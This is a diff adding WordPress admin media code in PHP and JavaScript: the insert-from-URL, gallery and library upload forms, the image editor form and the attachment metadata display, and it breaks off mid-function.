+	$post_id = isset( $_REQUEST['post_id'] ) ? intval( $_REQUEST['post_id'] ) : 0;
+
+	$form_action_url = admin_url("media-upload.php?type=$type&tab=type&post_id=$post_id");
+	/** This filter is documented in wp-admin/includes/media.php */
+	$form_action_url = apply_filters( 'media_upload_form_url', $form_action_url, $type );
+	$form_class = 'media-upload-form type-form validate';
+
+	if ( get_user_setting('uploader') )
+		$form_class .= ' html-uploader';
+?>
+
+<form enctype="multipart/form-data" method="post" action="<?php echo esc_url( $form_action_url ); ?>" class="<?php echo $form_class; ?>" id="<?php echo $type; ?>-form">
+<input type="hidden" name="post_id" id="post_id" value="<?php echo (int) $post_id; ?>" />
+<?php wp_nonce_field('media-form'); ?>
+
+<h3 class="media-title"><?php _e('Insert media from another website'); ?></h3>
+
+<script type="text/javascript">
+//<![CDATA[
+var addExtImage = {
+
+	width : '',
+	height : '',
+	align : 'alignnone',
+
+	insert : function() {
+		var t = this, html, f = document.forms[0], cls, title = '', alt = '', caption = '';
+
+		if ( '' == f.src.value || '' == t.width )
+			return false;
+
+		if ( f.alt.value )
+			alt = f.alt.value.replace(/'/g, '&#039;').replace(/"/g, '&quot;').replace(/</g, '&lt;').replace(/>/g, '&gt;');
+
+<?php
+	/** This filter is documented in wp-admin/includes/media.php */
+	if ( ! apply_filters( 'disable_captions', '' ) ) {
+		?>
+		if ( f.caption.value ) {
+			caption = f.caption.value.replace(/\r\n|\r/g, '\n');
+			caption = caption.replace(/<[a-zA-Z0-9]+( [^<>]+)?>/g, function(a){
+				return a.replace(/[\r\n\t]+/, ' ');
+			});
+
+			caption = caption.replace(/\s*\n\s*/g, '<br />');
+		}
+<?php } ?>
+
+		cls = caption ? '' : ' class="'+t.align+'"';
+
+		html = '<img alt="'+alt+'" src="'+f.src.value+'"'+cls+' width="'+t.width+'" height="'+t.height+'" />';
+
+		if ( f.url.value ) {
+			url = f.url.value.replace(/'/g, '&#039;').replace(/"/g, '&quot;').replace(/</g, '&lt;').replace(/>/g, '&gt;');
+			html = '<a href="'+url+'">'+html+'</a>';
+		}
+
+		if ( caption )
+			html = '[caption id="" align="'+t.align+'" width="'+t.width+'"]'+html+caption+'[/caption]';
+
+		var win = window.dialogArguments || opener || parent || top;
+		win.send_to_editor(html);
+		return false;
+	},
+
+	resetImageData : function() {
+		var t = addExtImage;
+
+		t.width = t.height = '';
+		document.getElementById('go_button').style.color = '#bbb';
+		if ( ! document.forms[0].src.value )
+			document.getElementById('status_img').innerHTML = '*';
+		else document.getElementById('status_img').innerHTML = '<img src="<?php echo esc_url( admin_url( 'images/no.png' ) ); ?>" alt="" />';
+	},
+
+	updateImageData : function() {
+		var t = addExtImage;
+
+		t.width = t.preloadImg.width;
+		t.height = t.preloadImg.height;
+		document.getElementById('go_button').style.color = '#333';
+		document.getElementById('status_img').innerHTML = '<img src="<?php echo esc_url( admin_url( 'images/yes.png' ) ); ?>" alt="" />';
+	},
+
+	getImageData : function() {
+		if ( jQuery('table.describe').hasClass('not-image') )
+			return;
+
+		var t = addExtImage, src = document.forms[0].src.value;
+
+		if ( ! src ) {
+			t.resetImageData();
+			return false;
+		}
+
+		document.getElementById('status_img').innerHTML = '<img src="<?php echo esc_url( admin_url( 'images/wpspin_light.gif' ) ); ?>" alt="" width="16" />';
+		t.preloadImg = new Image();
+		t.preloadImg.onload = t.updateImageData;
+		t.preloadImg.onerror = t.resetImageData;
+		t.preloadImg.src = src;
+	}
+}
+
+jQuery(document).ready( function($) {
+	$('.media-types input').click( function() {
+		$('table.describe').toggleClass('not-image', $('#not-image').prop('checked') );
+	});
+});
+
+//]]>
+</script>
+
+<div id="media-items">
+<div class="media-item media-blank">
+<?php
+/**
+ * Filter the insert media from URL form HTML.
+ *
+ * @since 3.3.0
+ *
+ * @param string $form_html The insert from URL form HTML.
+ */
+echo apply_filters( 'type_url_form_media', wp_media_insert_url_form( $type ) );
+?>
+</div>
+</div>
+</form>
+<?php
+}
+
+/**
+ * Adds gallery form to upload iframe
+ *
+ * @since 2.5.0
+ *
+ * @param array $errors
+ */
+function media_upload_gallery_form($errors) {
+	global $redir_tab, $type;
+
+	$redir_tab = 'gallery';
+	media_upload_header();
+
+	$post_id = intval($_REQUEST['post_id']);
+	$form_action_url = admin_url("media-upload.php?type=$type&tab=gallery&post_id=$post_id");
+	/** This filter is documented in wp-admin/includes/media.php */
+	$form_action_url = apply_filters( 'media_upload_form_url', $form_action_url, $type );
+	$form_class = 'media-upload-form validate';
+
+	if ( get_user_setting('uploader') )
+		$form_class .= ' html-uploader';
+?>
+
+<script type="text/javascript">
+jQuery(function($){
+	var preloaded = $(".media-item.preloaded");
+	if ( preloaded.length > 0 ) {
+		preloaded.each(function(){prepareMediaItem({id:this.id.replace(/[^0-9]/g, '')},'');});
+		updateMediaForm();
+	}
+});
+</script>
+<div id="sort-buttons" class="hide-if-no-js">
+<span>
+<?php _e('All Tabs:'); ?>
+<a href="#" id="showall"><?php _e('Show'); ?></a>
+<a href="#" id="hideall" style="display:none;"><?php _e('Hide'); ?></a>
+</span>
+<?php _e('Sort Order:'); ?>
+<a href="#" id="asc"><?php _e('Ascending'); ?></a> |
+<a href="#" id="desc"><?php _e('Descending'); ?></a> |
+<a href="#" id="clear"><?php _ex('Clear', 'verb'); ?></a>
+</div>
+<form enctype="multipart/form-data" method="post" action="<?php echo esc_url( $form_action_url ); ?>" class="<?php echo $form_class; ?>" id="gallery-form">
+<?php wp_nonce_field('media-form'); ?>
+<?php //media_upload_form( $errors ); ?>
+<table class="widefat">
+<thead><tr>
+<th><?php _e('Media'); ?></th>
+<th class="order-head"><?php _e('Order'); ?></th>
+<th class="actions-head"><?php _e('Actions'); ?></th>
+</tr></thead>
+</table>
+<div id="media-items">
+<?php add_filter('attachment_fields_to_edit', 'media_post_single_attachment_fields_to_edit', 10, 2); ?>
+<?php echo get_media_items($post_id, $errors); ?>
+</div>
+
+<p class="ml-submit">
+<?php submit_button( __( 'Save all changes' ), 'button savebutton', 'save', false, array( 'id' => 'save-all', 'style' => 'display: none;' ) ); ?>
+<input type="hidden" name="post_id" id="post_id" value="<?php echo (int) $post_id; ?>" />
+<input type="hidden" name="type" value="<?php echo esc_attr( $GLOBALS['type'] ); ?>" />
+<input type="hidden" name="tab" value="<?php echo esc_attr( $GLOBALS['tab'] ); ?>" />
+</p>
+
+<div id="gallery-settings" style="display:none;">
+<div class="title"><?php _e('Gallery Settings'); ?></div>
+<table id="basic" class="describe"><tbody>
+	<tr>
+	<th scope="row" class="label">
+		<label>
+		<span class="alignleft"><?php _e('Link thumbnails to:'); ?></span>
+		</label>
+	</th>
+	<td class="field">
+		<input type="radio" name="linkto" id="linkto-file" value="file" />
+		<label for="linkto-file" class="radio"><?php _e('Image File'); ?></label>
+
+		<input type="radio" checked="checked" name="linkto" id="linkto-post" value="post" />
+		<label for="linkto-post" class="radio"><?php _e('Attachment Page'); ?></label>
+	</td>
+	</tr>
+
+	<tr>
+	<th scope="row" class="label">
+		<label>
+		<span class="alignleft"><?php _e('Order images by:'); ?></span>
+		</label>
+	</th>
+	<td class="field">
+		<select id="orderby" name="orderby">
+			<option value="menu_order" selected="selected"><?php _e('Menu order'); ?></option>
+			<option value="title"><?php _e('Title'); ?></option>
+			<option value="post_date"><?php _e('Date/Time'); ?></option>
+			<option value="rand"><?php _e('Random'); ?></option>
+		</select>
+	</td>
+	</tr>
+
+	<tr>
+	<th scope="row" class="label">
+		<label>
+		<span class="alignleft"><?php _e('Order:'); ?></span>
+		</label>
+	</th>
+	<td class="field">
+		<input type="radio" checked="checked" name="order" id="order-asc" value="asc" />
+		<label for="order-asc" class="radio"><?php _e('Ascending'); ?></label>
+
+		<input type="radio" name="order" id="order-desc" value="desc" />
+		<label for="order-desc" class="radio"><?php _e('Descending'); ?></label>
+	</td>
+	</tr>
+
+	<tr>
+	<th scope="row" class="label">
+		<label>
+		<span class="alignleft"><?php _e('Gallery columns:'); ?></span>
+		</label>
+	</th>
+	<td class="field">
+		<select id="columns" name="columns">
+			<option value="1">1</option>
+			<option value="2">2</option>
+			<option value="3" selected="selected">3</option>
+			<option value="4">4</option>
+			<option value="5">5</option>
+			<option value="6">6</option>
+			<option value="7">7</option>
+			<option value="8">8</option>
+			<option value="9">9</option>
+		</select>
+	</td>
+	</tr>
+</tbody></table>
+
+<p class="ml-submit">
+<input type="button" class="button" style="display:none;" onMouseDown="wpgallery.update();" name="insert-gallery" id="insert-gallery" value="<?php esc_attr_e( 'Insert gallery' ); ?>" />
+<input type="button" class="button" style="display:none;" onMouseDown="wpgallery.update();" name="update-gallery" id="update-gallery" value="<?php esc_attr_e( 'Update gallery settings' ); ?>" />
+</p>
+</div>
+</form>
+<?php
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since 2.5.0
+ *
+ * @param array $errors
+ */
+function media_upload_library_form($errors) {
+	global $wpdb, $wp_query, $wp_locale, $type, $tab, $post_mime_types;
+
+	media_upload_header();
+
+	$post_id = isset( $_REQUEST['post_id'] ) ? intval( $_REQUEST['post_id'] ) : 0;
+
+	$form_action_url = admin_url("media-upload.php?type=$type&tab=library&post_id=$post_id");
+	/** This filter is documented in wp-admin/includes/media.php */
+	$form_action_url = apply_filters( 'media_upload_form_url', $form_action_url, $type );
+	$form_class = 'media-upload-form validate';
+
+	if ( get_user_setting('uploader') )
+		$form_class .= ' html-uploader';
+
+	$q = $_GET;
+	$q['posts_per_page'] = 10;
+	$q['paged'] = isset( $q['paged'] ) ? intval( $q['paged'] ) : 0;
+	if ( $q['paged'] < 1 ) {
+		$q['paged'] = 1;
+	}
+	$q['offset'] = ( $q['paged'] - 1 ) * 10;
+	if ( $q['offset'] < 1 ) {
+		$q['offset'] = 0;
+	}
+
+	list($post_mime_types, $avail_post_mime_types) = wp_edit_attachments_query( $q );
+
+?>
+
+<form id="filter" action="" method="get">
+<input type="hidden" name="type" value="<?php echo esc_attr( $type ); ?>" />
+<input type="hidden" name="tab" value="<?php echo esc_attr( $tab ); ?>" />
+<input type="hidden" name="post_id" value="<?php echo (int) $post_id; ?>" />
+<input type="hidden" name="post_mime_type" value="<?php echo isset( $_GET['post_mime_type'] ) ? esc_attr( $_GET['post_mime_type'] ) : ''; ?>" />
+<input type="hidden" name="context" value="<?php echo isset( $_GET['context'] ) ? esc_attr( $_GET['context'] ) : ''; ?>" />
+
+<p id="media-search" class="search-box">
+	<label class="screen-reader-text" for="media-search-input"><?php _e('Search Media');?>:</label>
+	<input type="search" id="media-search-input" name="s" value="<?php the_search_query(); ?>" />
+	<?php submit_button( __( 'Search Media' ), 'button', '', false ); ?>
+</p>
+
+<ul class="subsubsub">
+<?php
+$type_links = array();
+$_num_posts = (array) wp_count_attachments();
+$matches = wp_match_mime_types(array_keys($post_mime_types), array_keys($_num_posts));
+foreach ( $matches as $_type => $reals )
+	foreach ( $reals as $real )
+		if ( isset($num_posts[$_type]) )
+			$num_posts[$_type] += $_num_posts[$real];
+		else
+			$num_posts[$_type] = $_num_posts[$real];
+// If available type specified by media button clicked, filter by that type
+if ( empty($_GET['post_mime_type']) && !empty($num_posts[$type]) ) {
+	$_GET['post_mime_type'] = $type;
+	list($post_mime_types, $avail_post_mime_types) = wp_edit_attachments_query();
+}
+if ( empty($_GET['post_mime_type']) || $_GET['post_mime_type'] == 'all' )
+	$class = ' class="current"';
+else
+	$class = '';
+$type_links[] = '<li><a href="' . esc_url(add_query_arg(array('post_mime_type'=>'all', 'paged'=>false, 'm'=>false))) . '"' . $class . '>' . __('All Types') . '</a>';
+foreach ( $post_mime_types as $mime_type => $label ) {
+	$class = '';
+
+	if ( !wp_match_mime_types($mime_type, $avail_post_mime_types) )
+		continue;
+
+	if ( isset($_GET['post_mime_type']) && wp_match_mime_types($mime_type, $_GET['post_mime_type']) )
+		$class = ' class="current"';
+
+	$type_links[] = '<li><a href="' . esc_url(add_query_arg(array('post_mime_type'=>$mime_type, 'paged'=>false))) . '"' . $class . '>' . sprintf( translate_nooped_plural( $label[2], $num_posts[$mime_type] ), '<span id="' . $mime_type . '-counter">' . number_format_i18n( $num_posts[$mime_type] ) . '</span>') . '</a>';
+}
+/**
+ * Filter the media upload mime type list items.
+ *
+ * Returned values should begin with an `<li>` tag.
+ *
+ * @since 3.1.0
+ *
+ * @param array $type_links An array of list items containing mime type link HTML.
+ */
+echo implode(' | </li>', apply_filters( 'media_upload_mime_type_links', $type_links ) ) . '</li>';
+unset($type_links);
+?>
+</ul>
+
+<div class="tablenav">
+
+<?php
+$page_links = paginate_links( array(
+	'base' => add_query_arg( 'paged', '%#%' ),
+	'format' => '',
+	'prev_text' => __('&laquo;'),
+	'next_text' => __('&raquo;'),
+	'total' => ceil($wp_query->found_posts / 10),
+	'current' => $q['paged'],
+));
+
+if ( $page_links )
+	echo "<div class='tablenav-pages'>$page_links</div>";
+?>
+
+<div class="alignleft actions">
+<?php
+
+$arc_query = "SELECT DISTINCT YEAR(post_date) AS yyear, MONTH(post_date) AS mmonth FROM $wpdb->posts WHERE post_type = 'attachment' ORDER BY post_date DESC";
+
+$arc_result = $wpdb->get_results( $arc_query );
+
+$month_count = count($arc_result);
+$selected_month = isset( $_GET['m'] ) ? $_GET['m'] : 0;
+
+if ( $month_count && !( 1 == $month_count && 0 == $arc_result[0]->mmonth ) ) { ?>
+<select name='m'>
+<option<?php selected( $selected_month, 0 ); ?> value='0'><?php _e( 'All dates' ); ?></option>
+<?php
+foreach ($arc_result as $arc_row) {
+	if ( $arc_row->yyear == 0 )
+		continue;
+	$arc_row->mmonth = zeroise( $arc_row->mmonth, 2 );
+
+	if ( $arc_row->yyear . $arc_row->mmonth == $selected_month )
+		$default = ' selected="selected"';
+	else
+		$default = '';
+
+	echo "<option$default value='" . esc_attr( $arc_row->yyear . $arc_row->mmonth ) . "'>";
+	echo esc_html( $wp_locale->get_month($arc_row->mmonth) . " $arc_row->yyear" );
+	echo "</option>\n";
+}
+?>
+</select>
+<?php } ?>
+
+<?php submit_button( __( 'Filter &#187;' ), 'button', 'post-query-submit', false ); ?>
+
+</div>
+
+<br class="clear" />
+</div>
+</form>
+
+<form enctype="multipart/form-data" method="post" action="<?php echo esc_url( $form_action_url ); ?>" class="<?php echo $form_class; ?>" id="library-form">
+
+<?php wp_nonce_field('media-form'); ?>
+<?php //media_upload_form( $errors ); ?>
+
+<script type="text/javascript">
+<!--
+jQuery(function($){
+	var preloaded = $(".media-item.preloaded");
+	if ( preloaded.length > 0 ) {
+		preloaded.each(function(){prepareMediaItem({id:this.id.replace(/[^0-9]/g, '')},'');});
+		updateMediaForm();
+	}
+});
+-->
+</script>
+
+<div id="media-items">
+<?php add_filter('attachment_fields_to_edit', 'media_post_single_attachment_fields_to_edit', 10, 2); ?>
+<?php echo get_media_items(null, $errors); ?>
+</div>
+<p class="ml-submit">
+<?php submit_button( __( 'Save all changes' ), 'button savebutton', 'save', false ); ?>
+<input type="hidden" name="post_id" id="post_id" value="<?php echo (int) $post_id; ?>" />
+</p>
+</form>
+<?php
+}
+
+/**
+ * Creates the form for external url
+ *
+ * @since 2.7.0
+ *
+ * @param string $default_view
+ * @return string the form html
+ */
+function wp_media_insert_url_form( $default_view = 'image' ) {
+	/** This filter is documented in wp-admin/includes/media.php */
+	if ( ! apply_filters( 'disable_captions', '' ) ) {
+		$caption = '
+		<tr class="image-only">
+			<th scope="row" class="label">
+				<label for="caption"><span class="alignleft">' . __('Image Caption') . '</span></label>
+			</th>
+			<td class="field"><textarea id="caption" name="caption"></textarea></td>
+		</tr>
+';
+	} else {
+		$caption = '';
+	}
+
+	$default_align = get_option('image_default_align');
+	if ( empty($default_align) )
+		$default_align = 'none';
+
+	if ( 'image' == $default_view ) {
+		$view = 'image-only';
+		$table_class = '';
+	} else {
+		$view = $table_class = 'not-image';
+	}
+
+	return '
+	<p class="media-types"><label><input type="radio" name="media_type" value="image" id="image-only"' . checked( 'image-only', $view, false ) . ' /> ' . __( 'Image' ) . '</label> &nbsp; &nbsp; <label><input type="radio" name="media_type" value="generic" id="not-image"' . checked( 'not-image', $view, false ) . ' /> ' . __( 'Audio, Video, or Other File' ) . '</label></p>
+	<table class="describe ' . $table_class . '"><tbody>
+		<tr>
+			<th scope="row" class="label" style="width:130px;">
+				<label for="src"><span class="alignleft">' . __('URL') . '</span></label>
+				<span class="alignright"><abbr id="status_img" title="required" class="required">*</abbr></span>
+			</th>
+			<td class="field"><input id="src" name="src" value="" type="text" aria-required="true" onblur="addExtImage.getImageData()" /></td>
+		</tr>
+
+		<tr>
+			<th scope="row" class="label">
+				<label for="title"><span class="alignleft">' . __('Title') . '</span></label>
+				<span class="alignright"><abbr title="required" class="required">*</abbr></span>
+			</th>
+			<td class="field"><input id="title" name="title" value="" type="text" aria-required="true" /></td>
+		</tr>
+
+		<tr class="not-image"><td></td><td><p class="help">' . __('Link text, e.g. &#8220;Ransom Demands (PDF)&#8221;') . '</p></td></tr>
+
+		<tr class="image-only">
+			<th scope="row" class="label">
+				<label for="alt"><span class="alignleft">' . __('Alternative Text') . '</span></label>
+			</th>
+			<td class="field"><input id="alt" name="alt" value="" type="text" aria-required="true" />
+			<p class="help">' . __('Alt text for the image, e.g. &#8220;The Mona Lisa&#8221;') . '</p></td>
+		</tr>
+		' . $caption . '
+		<tr class="align image-only">
+			<th scope="row" class="label"><p><label for="align">' . __('Alignment') . '</label></p></th>
+			<td class="field">
+				<input name="align" id="align-none" value="none" onclick="addExtImage.align=\'align\'+this.value" type="radio"' . ($default_align == 'none' ? ' checked="checked"' : '').' />
+				<label for="align-none" class="align image-align-none-label">' . __('None') . '</label>
+				<input name="align" id="align-left" value="left" onclick="addExtImage.align=\'align\'+this.value" type="radio"' . ($default_align == 'left' ? ' checked="checked"' : '').' />
+				<label for="align-left" class="align image-align-left-label">' . __('Left') . '</label>
+				<input name="align" id="align-center" value="center" onclick="addExtImage.align=\'align\'+this.value" type="radio"' . ($default_align == 'center' ? ' checked="checked"' : '').' />
+				<label for="align-center" class="align image-align-center-label">' . __('Center') . '</label>
+				<input name="align" id="align-right" value="right" onclick="addExtImage.align=\'align\'+this.value" type="radio"' . ($default_align == 'right' ? ' checked="checked"' : '').' />
+				<label for="align-right" class="align image-align-right-label">' . __('Right') . '</label>
+			</td>
+		</tr>
+
+		<tr class="image-only">
+			<th scope="row" class="label">
+				<label for="url"><span class="alignleft">' . __('Link Image To:') . '</span></label>
+			</th>
+			<td class="field"><input id="url" name="url" value="" type="text" /><br />
+
+			<button type="button" class="button" value="" onclick="document.forms[0].url.value=null">' . __('None') . '</button>
+			<button type="button" class="button" value="" onclick="document.forms[0].url.value=document.forms[0].src.value">' . __('Link to image') . '</button>
+			<p class="help">' . __('Enter a link URL or click above for presets.') . '</p></td>
+		</tr>
+		<tr class="image-only">
+			<td></td>
+			<td>
+				<input type="button" class="button" id="go_button" style="color:#bbb;" onclick="addExtImage.insert()" value="' . esc_attr__('Insert into Post') . '" />
+			</td>
+		</tr>
+		<tr class="not-image">
+			<td></td>
+			<td>
+				' . get_submit_button( __( 'Insert into Post' ), 'button', 'insertonlybutton', false ) . '
+			</td>
+		</tr>
+	</tbody></table>
+';
+
+}
+
+/**
+ * Displays the multi-file uploader message.
+ *
+ * @since 2.6.0
+ */
+function media_upload_flash_bypass() {
+	$browser_uploader = admin_url( 'media-new.php?browser-uploader' );
+
+	if ( $post = get_post() )
+		$browser_uploader .= '&amp;post_id=' . intval( $post->ID );
+	elseif ( ! empty( $GLOBALS['post_ID'] ) )
+		$browser_uploader .= '&amp;post_id=' . intval( $GLOBALS['post_ID'] );
+
+	?>
+	<p class="upload-flash-bypass">
+	<?php printf( __( 'You are using the multi-file uploader. Problems? Try the <a href="%1$s" target="%2$s">browser uploader</a> instead.' ), $browser_uploader, '_blank' ); ?>
+	</p>
+	<?php
+}
+add_action('post-plupload-upload-ui', 'media_upload_flash_bypass');
+
+/**
+ * Displays the browser's built-in uploader message.
+ *
+ * @since 2.6.0
+ */
+function media_upload_html_bypass() {
+	?>
+	<p class="upload-html-bypass hide-if-no-js">
+	   <?php _e('You are using the browser&#8217;s built-in file uploader. The WordPress uploader includes multiple file selection and drag and drop capability. <a href="#">Switch to the multi-file uploader</a>.'); ?>
+	</p>
+	<?php
+}
+add_action('post-html-upload-ui', 'media_upload_html_bypass');
+
+/**
+ * Used to display a "After a file has been uploaded..." help message.
+ *
+ * @since 3.3.0
+ */
+function media_upload_text_after() {}
+
+/**
+ * Displays the checkbox to scale images.
+ *
+ * @since 3.3.0
+ */
+function media_upload_max_image_resize() {
+	$checked = get_user_setting('upload_resize') ? ' checked="true"' : '';
+	$a = $end = '';
+
+	if ( current_user_can( 'manage_options' ) ) {
+		$a = '<a href="' . esc_url( admin_url( 'options-media.php' ) ) . '" target="_blank">';
+		$end = '</a>';
+	}
+?>
+<p class="hide-if-no-js"><label>
+<input name="image_resize" type="checkbox" id="image_resize" value="true"<?php echo $checked; ?> />
+<?php
+	/* translators: %1$s is link start tag, %2$s is link end tag, %3$d is width, %4$d is height*/
+	printf( __( 'Scale images to match the large size selected in %1$simage options%2$s (%3$d &times; %4$d).' ), $a, $end, (int) get_option( 'large_size_w', '1024' ), (int) get_option( 'large_size_h', '1024' ) );
+?>
+</label></p>
+<?php
+}
+
+/**
+ * Displays the out of storage quota message in Multisite.
+ *
+ * @since 3.5.0
+ */
+function multisite_over_quota_message() {
+	echo '<p>' . sprintf( __( 'Sorry, you have used all of your storage quota of %s MB.' ), get_space_allowed() ) . '</p>';
+}
+
+/**
+ * Displays the image and editor in the post editor
+ *
+ * @since 3.5.0
+ */
+function edit_form_image_editor( $post ) {
+	$open = isset( $_GET['image-editor'] );
+	if ( $open )
+		require_once ABSPATH . 'wp-admin/includes/image-edit.php';
+
+	$thumb_url = false;
+	if ( $attachment_id = intval( $post->ID ) )
+		$thumb_url = wp_get_attachment_image_src( $attachment_id, array( 900, 450 ), true );
+
+	$alt_text = get_post_meta( $post->ID, '_wp_attachment_image_alt', true );
+
+	$att_url = wp_get_attachment_url( $post->ID ); ?>
+	<div class="wp_attachment_holder">
+	<?php
+	if ( wp_attachment_is_image( $post->ID ) ) :
+		$image_edit_button = '';
+		if ( wp_image_editor_supports( array( 'mime_type' => $post->post_mime_type ) ) ) {
+			$nonce = wp_create_nonce( "image_editor-$post->ID" );
+			$image_edit_button = "<input type='button' id='imgedit-open-btn-$post->ID' onclick='imageEdit.open( $post->ID, \"$nonce\" )' class='button' value='" . esc_attr__( 'Edit Image' ) . "' /> <span class='spinner'></span>";
+		}
+	?>
+
+		<div class="imgedit-response" id="imgedit-response-<?php echo $attachment_id; ?>"></div>
+
+		<div<?php if ( $open ) echo ' style="display:none"'; ?> class="wp_attachment_image" id="media-head-<?php echo $attachment_id; ?>">
+			<p id="thumbnail-head-<?php echo $attachment_id; ?>"><img class="thumbnail" src="<?php echo set_url_scheme( $thumb_url[0] ); ?>" style="max-width:100%" alt="" /></p>
+			<p><?php echo $image_edit_button; ?></p>
+		</div>
+		<div<?php if ( ! $open ) echo ' style="display:none"'; ?> class="image-editor" id="image-editor-<?php echo $attachment_id; ?>">
+			<?php if ( $open ) wp_image_editor( $attachment_id ); ?>
+		</div>
+	<?php
+	elseif ( $attachment_id && 0 === strpos( $post->post_mime_type, 'audio/' ) ):
+
+		wp_maybe_generate_attachment_metadata( $post );
+
+		echo wp_audio_shortcode( array( 'src' => $att_url ) );
+
+	elseif ( $attachment_id && 0 === strpos( $post->post_mime_type, 'video/' ) ):
+
+		wp_maybe_generate_attachment_metadata( $post );
+
+		$meta = wp_get_attachment_metadata( $attachment_id );
+		$w = ! empty( $meta['width'] ) ? min( $meta['width'], 640 ) : 0;
+		$h = ! empty( $meta['height'] ) ? $meta['height'] : 0;
+		if ( $h && $w < $meta['width'] ) {
+			$h = round( ( $meta['height'] * $w ) / $meta['width'] );
+		}
+
+		$attr = array( 'src' => $att_url );
+		if ( ! empty( $w ) && ! empty( $h ) ) {
+			$attr['width'] = $w;
+			$attr['height'] = $h;
+		}
+
+		$thumb_id = get_post_thumbnail_id( $attachment_id );
+		if ( ! empty( $thumb_id ) ) {
+			$attr['poster'] = wp_get_attachment_url( $thumb_id );
+		}
+
+		echo wp_video_shortcode( $attr );
+
+	endif; ?>
+	</div>
+	<div class="wp_attachment_details edit-form-section">
+		<p>
+			<label for="attachment_caption"><strong><?php _e( 'Caption' ); ?></strong></label><br />
+			<textarea class="widefat" name="excerpt" id="attachment_caption"><?php echo $post->post_excerpt; ?></textarea>
+		</p>
+
+
+	<?php if ( 'image' === substr( $post->post_mime_type, 0, 5 ) ) : ?>
+		<p>
+			<label for="attachment_alt"><strong><?php _e( 'Alternative Text' ); ?></strong></label><br />
+			<input type="text" class="widefat" name="_wp_attachment_image_alt" id="attachment_alt" value="<?php echo esc_attr( $alt_text ); ?>" />
+		</p>
+	<?php endif; ?>
+
+	<?php
+		$quicktags_settings = array( 'buttons' => 'strong,em,link,block,del,ins,img,ul,ol,li,code,close' );
+		$editor_args = array(
+			'textarea_name' => 'content',
+			'textarea_rows' => 5,
+			'media_buttons' => false,
+			'tinymce' => false,
+			'quicktags' => $quicktags_settings,
+		);
+	?>
+
+	<label for="content"><strong><?php _e( 'Description' ); ?></strong><?php
+	if ( preg_match( '#^(audio|video)/#', $post->post_mime_type ) ) {
+		echo ': ' . __( 'Displayed on attachment pages.' );
+	} ?></label>
+	<?php wp_editor( $post->post_content, 'attachment_content', $editor_args ); ?>
+
+	</div>
+	<?php
+	$extras = get_compat_media_markup( $post->ID );
+	echo $extras['item'];
+	echo '<input type="hidden" id="image-edit-context" value="edit-attachment" />' . "\n";
+}
+
+/**
+ * Displays non-editable attachment metadata in the publish metabox
+ *
+ * @since 3.5.0
+ */
+function attachment_submitbox_metadata() {
+	$post = get_post();
+
+	$filename = esc_html( wp_basename( $post->guid ) );
+
+	$media_dims = '';
+	$meta = wp_get_attachment_metadata( $post->ID );
+	if ( isset( $meta['width'], $meta['height'] ) )
+		$media_dims .= "<span id='media-dims-$post->ID'>{$meta['width']}&nbsp;&times;&nbsp;{$meta['height']}</span> ";
+	/** This filter is documented in wp-admin/includes/media.php */
+	$media_dims = apply_filters( 'media_meta', $media_dims, $post );
+
+	$att_url = wp_get_attachment_url( $post->ID );
+?>
+	<div class="misc-pub-section misc-pub-attachment">
+			<label for="attachment_url"><?php _e( 'File URL:' ); ?></label>
+			<input type="text" class="widefat urlfield" readonly="readonly" name="attachment_url" value="<?php echo esc_attr($att_url); ?>" />
+	</div>
+	<div class="misc-pub-section misc-pub-filename">
+		<?php _e( 'File name:' ); ?> <strong><?php echo $filename; ?></strong>
+	</div>
+	<div class="misc-pub-section misc-pub-filetype">
+		<?php _e( 'File type:' ); ?> <strong><?php
+			if ( preg_match( '/^.*?\.(\w+)$/', get_attached_file( $post->ID ), $matches ) ) {
+				echo esc_html( strtoupper( $matches[1] ) );
+				list( $mime_type ) = explode( '/', $post->post_mime_type );
+				if ( $mime_type !== 'image' && ! empty( $meta['mime_type'] ) ) {
+					if ( $meta['mime_type'] !== "$mime_type/" . strtolower( $matches[1] ) ) {
+						echo ' (' . $meta['mime_type'] . ')';
+					}
+				}
+			} else {
+				echo strtoupper( str_replace( 'image/', '', $post->post_mime_type ) );
+			}
+		?></strong>
+	</div>
+
+	<?php
+		$file  = get_attached_file( $post->ID );
+		$file_size = false;
+
+		if ( isset( $meta['filesize'] ) )
+			$file_size = $meta['filesize'];
+		elseif ( file_exists( $file ) )
+			$file_size = filesize( $file );
+
+		if ( ! empty( $file_size ) ) : ?>
+			<div class="misc-pub-section misc-pub-filesize">
+				<?php _e( 'File size:' ); ?> <strong><?php echo size_format( $file_size ); ?></strong>
+			</div>
+			<?php
+		endif;
+
+	if ( preg_match( '#^(audio|video)/#', $post->post_mime_type ) ) {
+
+		/**
+		 * Filter the audio and video metadata fields to be shown in the publish meta box.
+		 *
+		 * The key for each item in the array should correspond to an attachment
+		 * metadata key, and the value should be the desired label.
+		 *
+		 * @since 3.7.0
+		 *
+		 * @param array $fields An array of the attachment metadata keys and labels.
+		 */
+		$fields = apply_filters( 'media_submitbox_misc_sections', array(
+			'length_formatted' => __( 'Length:' ),
+			'bitrate'          => __( 'Bitrate:' ),
+		) );
+
+		foreach ( $fields as $key => $label ) {
+			if ( empty( $meta[ $key ] ) ) {
+				continue;
+			}
+	?>
+		<div class="misc-pub-section misc-pub-mime-meta misc-pub-<?php echo sanitize_html_class( $key ); ?>">
+			<?php echo $label ?> <strong><?php
+				switch ( $key ) {
+					case 'bitrate' :
+						echo round( $meta['bitrate'] / 1000 ) . 'kb/s';
+						if ( ! empty( $meta['bitrate_mode'] ) ) {
+							echo ' ' . strtoupper( esc_html( $meta['bitrate_mode'] ) );
+						}
+						break;
+					default:
+						echo esc_html( $meta[ $key ] );
+						break;
+				}
+			?></strong>
+		</div>
+	<?php
+		}
+
+		/**
+		 * Filter the audio attachment metadata fields to be shown in the publish meta box.
+		 *
+		 * The key for each item in the array should correspond to an attachment
+		 * metadata key, and the value should be the desired label.
+		 *
+		 * @since 3.7.0
+		 *
+		 * @param array $fields An array of the attachment metadata keys and labels.
+		 */
+		$audio_fields = apply_filters( 'audio_submitbox_misc_sections', array(
+			'dataformat' => __( 'Audio Format:' ),
+			'codec'      => __( 'Audio Codec:' )
+		) );
+
+		foreach ( $audio_fields as $key => $label ) {
+			if ( empty( $meta['audio'][ $key ] ) ) {
+				continue;
+			}
+	?>
+		<div class="misc-pub-section misc-pub-audio misc-pub-<?php echo sanitize_html_class( $key ); ?>">
+			<?php echo $label; ?> <strong><?php echo esc_html( $meta['audio'][$key] ); ?></strong>
+		</div>
+	<?php
+		}
+
+	}
+
+	if ( $media_dims ) : ?>
